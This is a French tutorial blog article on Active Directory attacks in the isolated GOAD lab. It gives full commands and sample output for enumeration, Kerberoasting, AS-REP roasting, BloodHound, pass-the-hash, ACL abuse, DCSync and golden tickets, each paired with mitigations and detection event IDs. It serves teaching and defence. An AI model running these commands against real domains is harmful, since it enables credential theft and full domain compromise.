Lecture : 14 minutes · Niveau : avancé · Mise à jour : avril 2026
⚠️ Disclaimer : Toutes les techniques décrites s’exécutent sur GOAD (Game of Active Directory), lab open-source isolé conçu pour l’apprentissage. Toute reproduction sur un AD tiers sans autorisation écrite préalable est illégale.
Tutoriel pas-à-pas des attaques classiques contre un domaine Windows Active Directory : énumération depuis un compte standard, Kerberoasting, AS-REP Roasting, BloodHound pour cartographier les chemins de privilege escalation, Pass-the-Hash, exploitation d’ACL abusives. Lab reproductible : déployer GOAD sur Proxmox ou VirtualBox, lancer les attaques avec impacket, valider les défenses correspondantes.
Pourquoi l’Active Directory reste la cible n°1 des opérations red team. Au-delà de l’omniprésence d’AD dans les entreprises, sa complexité structurelle crée des angles morts permanents : un AD avec 10+ ans d’historique cumule typiquement des milliers d’objets, des milliers d’ACL héritées, des comptes de service oubliés, des délégations Kerberos mal calibrées. Chaque misconfiguration accumulée devient un chemin d’escalade exploitable. C’est pourquoi BloodHound a tant changé la donne : il transforme une analyse manuelle de plusieurs jours en visualisation de chemins d’attaque en quelques minutes. Comprendre AD du point de vue offensif, c’est comprendre comment les attaquants modernes opèrent réellement après une compromission initiale.
Architecture des attaques AD en 2026. La plupart des opérations suivent un pattern stable : phishing initial pour compromettre un poste utilisateur standard (T1566), énumération AD depuis ce poste avec un outil discret, identification de chemins d’élévation via BloodHound, exécution ciblée d’une attaque (Kerberoasting, AS-REP, ACL abuse), pivotement vers un compte privilégié, DCSync pour récupérer tous les hashes, persistance via Golden Ticket. Le cycle se déroule en quelques heures à quelques jours selon la maturité défensive. Sans détection sur l’une de ces étapes, l’organisation perd intégralement son AD.
Voir aussi → Red teaming PME : guide complet, Red teaming C2 frameworks tutoriel, Red teaming évasion AV/EDR.
Sommaire
- Lab : déployer GOAD
- Énumération initiale (utilisateur basique)
- Kerberoasting
- AS-REP Roasting
- BloodHound : cartographier les chemins
- Pass-the-Hash
- ACL abuse (GenericWrite, WriteDACL)
- DCSync
- Détection côté blue team
- FAQ
1. Lab : déployer GOAD
GOAD (Game of Active Directory) par mayfly277 est le lab open-source de référence : 5 VMs Windows, 2 forêts, hôtes mal configurés volontairement.
# Sur Linux avec Vagrant et VirtualBox installés
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD/ad/GOAD/providers/virtualbox
vagrant up
Pré-requis : ~30 Go RAM, ~120 Go disque. Lent à monter (1-2h selon machine). Alternative légère : GOAD-Light (3 VMs, ~16 Go RAM).
Provisionnement Ansible automatique :
cd ../../../scripts
./provisionning.sh -m goad -p virtualbox
Cibles disponibles (réseau 192.168.56.0/24) :
– DC01 (192.168.56.10) : essos.local DC primaire
– DC02 (192.168.56.11) : north.sevenkingdoms.local
– DC03 (192.168.56.12) : sevenkingdoms.local
– SRV02 (192.168.56.22) : member server
– SRV03 (192.168.56.23) : member server avec SQL Server
Comptes de test fournis :
GOAD\stark.arya : Faerie33!
GOAD\winterfell.bran : iSummerIsComing!
GOAD\stark.robb : Aegon007!
2. Énumération initiale (utilisateur basique)
Depuis Kali, avec un compte de domaine basique :
# Outils impacket sur Kali
sudo apt install -y impacket-scripts
# Énumération users via SAMR/LDAP
crackmapexec smb 192.168.56.10 -u arya.stark -p 'Faerie33!' --users
Sortie type :
SMB 192.168.56.10 445 DC01 [+] essos.local\arya.stark
SMB 192.168.56.10 445 DC01 [+] Enumerated 78 domain users
SMB 192.168.56.10 445 DC01 arya.stark
SMB 192.168.56.10 445 DC01 daenerys.targaryen (description: ...)
Énumération groupes :
crackmapexec smb 192.168.56.10 -u arya.stark -p 'Faerie33!' --groups
Lister les machines du domaine :
crackmapexec ldap 192.168.56.10 -u arya.stark -p 'Faerie33!' --query "(objectCategory=computer)" attributes "name"
Énumérer les partages SMB accessibles :
crackmapexec smb 192.168.56.0/24 -u arya.stark -p 'Faerie33!' --shares
Sortie type :
SMB 192.168.56.22 445 SRV02 [+] essos.local\arya.stark
SMB 192.168.56.22 445 SRV02 Share Permissions Remark
SMB 192.168.56.22 445 SRV02 IPC$ READ
SMB 192.168.56.22 445 SRV02 Backups READ,WRITE
→ Backups partagé en READ : finding (information disclosure potentielle).
3. Kerberoasting
Principe : demander un ticket Kerberos pour un service (SPN), récupérer le hash, le casser offline.
# Lister les comptes de service avec SPN
GetUserSPNs.py essos.local/arya.stark:'Faerie33!' \
-dc-ip 192.168.56.10 -request \
-outputfile kerberoast.hashes
Sortie :
ServicePrincipalName Name MemberOf
MSSQLSvc/SRV02:1433 sql_svc
HTTP/SRV03 web_svc CN=Domain Admins
kerberoast.hashes contient des hash format $krb5tgs$23$*....
Casser avec hashcat :
hashcat -m 13100 -a 0 kerberoast.hashes /usr/share/wordlists/rockyou.txt
Sortie attendue (si mot de passe faible) :
$krb5tgs$23$*sql_svc...$abc:Password123!
Pourquoi ça marche : Kerberos chiffre le ticket avec le hash NTLM du compte de service. Tout utilisateur authentifié au domaine peut demander un ticket → cracker offline contourne lockout policy.
Mitigation : mots de passe service longs (25+ chars aléatoires), idéalement gMSA (Group Managed Service Accounts).
4. AS-REP Roasting
Cible : comptes avec Do not require Kerberos preauthentication activé.
GetNPUsers.py essos.local/ \
-no-pass -usersfile users.txt \
-dc-ip 192.168.56.10 -format hashcat
Sortie type :
$krb5asrep$23$brienne.tarth@essos.local:abc...
Cracker :
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
Mitigation : auditer régulièrement les comptes avec DONT_REQ_PREAUTH :
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *
5. BloodHound : cartographier les chemins
Collecter les données :
# Méthode rapide depuis Kali avec bloodhound-python
bloodhound-python -d essos.local -u arya.stark -p 'Faerie33!' \
-ns 192.168.56.10 -c All
Génère plusieurs JSON.
Importer dans BloodHound :
sudo neo4j start
bloodhound &
# Login: neo4j / password (par défaut, à changer)
# Drag-drop les .json dans l'UI
Requêtes BloodHound utiles :
Find all Domain Admins(built-in)Find shortest paths to Domain Admins(built-in)Find Kerberoastable Users(built-in)Find AS-REP Roastable Users(built-in)
Cypher custom : trouver chemin depuis arya.stark vers Domain Admin :
MATCH p=shortestPath((u:User {name:"ARYA.STARK@ESSOS.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@ESSOS.LOCAL"})) RETURN p
→ Visualisation graphique du chemin d’attaque le plus court.
6. Pass-the-Hash
Si vous avez un hash NTLM (depuis dump LSASS, Mimikatz, etc.), vous pouvez authentifier sans le mot de passe.
Exemple : exécuter une commande sur SRV02 avec hash de admin local :
crackmapexec smb 192.168.56.22 -u administrator -H aad3b435b51404eeaad3b435b51404ee:abc123hash -x "whoami"
Sortie :
SMB 192.168.56.22 445 SRV02 [+] essos.local\administrator (Pwn3d!)
SMB 192.168.56.22 445 SRV02 nt authority\system
Avec impacket psexec :
psexec.py -hashes ":abc123hash" essos.local/administrator@192.168.56.22
Mitigation principale : Credential Guard (Windows 10/11 Enterprise), désactivation de NTLM, segmentation tier model (admins privilégiés ne se connectent jamais sur des postes utilisateurs).
7. ACL abuse (GenericWrite, WriteDACL)
GOAD a des ACL volontairement mal configurées.
Identifier dans BloodHound : « Find Principals with DCSync Rights » ou requête Cypher :
MATCH (u:User)-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner]->(g:Group)
WHERE g.name CONTAINS "ADMIN"
RETURN u, r, g
Exploitation GenericWrite sur un groupe :
# Ajouter user contrôlé au groupe privilégié
bloodyAD -d essos.local -u arya.stark -p 'Faerie33!' \
--host 192.168.56.10 \
add groupMember "Domain Admins" "arya.stark"
Vérification :
crackmapexec smb 192.168.56.10 -u arya.stark -p 'Faerie33!' --groups | grep "Domain Admins"
Mitigation : auditer les ACL via Get-DomainObjectAcl (PowerView) ou BloodHound. Restreindre les droits délégués au minimum nécessaire.
8. DCSync
DCSync = simuler un DC pour récupérer tous les hashes du domaine. Nécessite droits Replicating Directory Changes.
# Si on a Domain Admin (ou droits DCSync délégués)
secretsdump.py essos.local/administrator:'Pass'@192.168.56.10
Sortie :
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
administrator:500:aad...:abc123:::
krbtgt:502:aad...:def456:::
arya.stark:1107:aad...:ghi789:::
Avec le hash de krbtgt : possible de générer des Golden Tickets (persistance maximum, durée 10 ans par défaut).
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain essos.local administrator
Mitigation : rotation périodique du hash krbtgt (2 fois pour invalidation totale), monitoring de DRSUAPI calls.
9. Détection côté blue team
Kerberoasting :
– Event ID 4769 (TGS-REQ) avec ticket option 0x40810010 (RC4 = signe), accès massif aux SPNs
– SIEM rule : 4769 + RC4 + utilisateur non-admin + nombreux SPNs = alerte
AS-REP Roasting :
– Event ID 4768 (AS-REQ) avec preauth = 0
– Audit des comptes DONT_REQ_PREAUTH régulier
Pass-the-Hash :
– Event ID 4624 logon type 3 (network), package NTLM
– Anomalie : authentification NTLM depuis un poste utilisateur vers serveur prod
BloodHound collecte (LDAP) :
– Massive requêtes LDAP (objectClass=*)
– Honey pots : objets AD spéciaux dont le seul usage déclenche une alerte
DCSync :
– Event ID 4662 avec GUID 1131f6aa/1131f6ad (DRSUAPI replication)
– Alerte sur tout DCSync depuis non-DC
Outils SOC pour détecter :
– Microsoft Defender for Identity (anciennement ATA / Azure ATP)
– Splunk + Sysmon
– Wazuh + sigma rules
– ELK Stack avec Velociraptor pour collecte endpoint
Stratégie de détection priorisée pour PME. Toutes les détections AD ne se valent pas. Si vous démarrez la couverture détection avec un budget limité, prioriser dans cet ordre : (1) DCSync depuis un non-DC — quasi zero faux positif, signal très fort de compromission majeure. (2) Création/modification de compte avec privilège Domain Admin — rare en BAU, alerte critique. (3) Login interactif d’un compte de service — anomalie comportementale, signal de pivot. (4) Kerberoasting massif — détecté par volume de TGS-REQ. (5) Pass-the-Hash via comparaison comportements logon. Couvrir ces 5 angles avec des règles SIEM solides protège contre 80% des scénarios d’opération AD réels.
Tester ses propres détections. Une règle SIEM sans test régulier n’a pas de valeur prouvée. Pour chaque technique implémentée côté défense, écrire un script qui rejoue l’attaque en condition contrôlée (sur GOAD ou environnement isolé), confirmer que l’alerte se déclenche, mesurer la latence entre exécution et détection. Outil d’automatisation : Atomic Red Team — bibliothèque open-source de tests atomiques mappés sur MITRE ATT&CK, exécutables en quelques secondes. Une PME mature qui exécute Atomic Red Team mensuellement et corrige les détections défaillantes a une posture défensive radicalement supérieure aux organisations qui se contentent de déployer des règles génériques sans validation.
FAQ
Pourquoi GOAD plutôt que monter mon propre lab AD ?
GOAD est pré-configuré avec misconfigurations réalistes documentées par scénario. Monter from scratch demande des semaines pour avoir un lab AD réaliste. GOAD permet de pratiquer immédiatement les techniques. Pour aller plus loin : monter ses propres labs avec terraform pour s’entraîner aux scénarios cloud-AD hybride.
Quels outils en complément d’impacket ?
Rubeus (C# pour Kerberos depuis Windows compromis), Mimikatz (LSASS dump, Golden Ticket), PowerView (énumération PowerShell), CrackMapExec (swiss army knife), bloodyAD (modifications AD via LDAP).
Comment hash NTLM est-il obtenu en pratique ?
Plusieurs vecteurs : dump LSASS (procdump.exe + mimikatz offline), responder pour capture NTLMv2, NTDS.dit dump depuis DC, SAM dump local d’un poste avec admin. Chaque vecteur a sa contre-mesure (Credential Guard, LSASS protection, désactivation NTLM, etc.).
Le tier model Microsoft est-il efficace ?
Oui, c’est l’une des meilleures défenses AD. Principe : Tier 0 (DC, DNS, KDC) ↔ Tier 1 (serveurs prod) ↔ Tier 2 (postes utilisateurs). Aucun cross-tier login. Un attaquant compromettant un poste user ne peut pas pivoter directement vers un DC. Implémentation complexe mais payante pour les organisations matures.
Comment détecter BloodHound en cours de collecte ?
LDAP queries massives en peu de temps depuis un poste, scan SMB sur tous les hôtes du domaine. Microsoft Defender for Identity et certaines règles Sigma détectent. Honeypot : créer des objets AD piégés dont l’accès LDAP déclenche alerte.
Combien de temps pour devenir efficace en attaques AD ?
Avec lab personnel et pratique régulière (5-10h/semaine) : 3-6 mois pour les bases (énumération, Kerberoasting, Pass-the-Hash). 12-18 mois pour la maîtrise (chains complexes, ACL abuse, certificate services attacks, ADCS). Certifications utiles : CRTP (Certified Red Team Professional – PentesterAcademy/Altered Security), OSEP, CRTE.
Les attaques ADCS sont-elles couvertes ici ?
Non — ADCS (Active Directory Certificate Services) abuse mérite un article dédié. Vecteurs : ESC1-ESC11 (Will Schroeder & Lee Christensen). Outils : Certify, Certipy. Hautement critique en 2026.
Ces techniques fonctionnent-elles encore en 2026 ?
La plupart des attaques fondamentales (Kerberoasting, AS-REP, BloodHound) restent valides — Microsoft ne peut pas les supprimer sans casser des fonctionnalités légitimes. Microsoft renforce les détections (Defender for Identity) mais sans patcher les vecteurs eux-mêmes. Les défenses actives sont la voie principale d’atténuation.
Articles liés (cluster Red Teaming)
- 👉 Red teaming PME : guide complet
- 👉 Red teaming C2 frameworks : Sliver et Mythic
- 👉 Red teaming évasion AV/EDR
Voir aussi : Pentesting éthique pour PME, Pentesting d’applications web.
Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.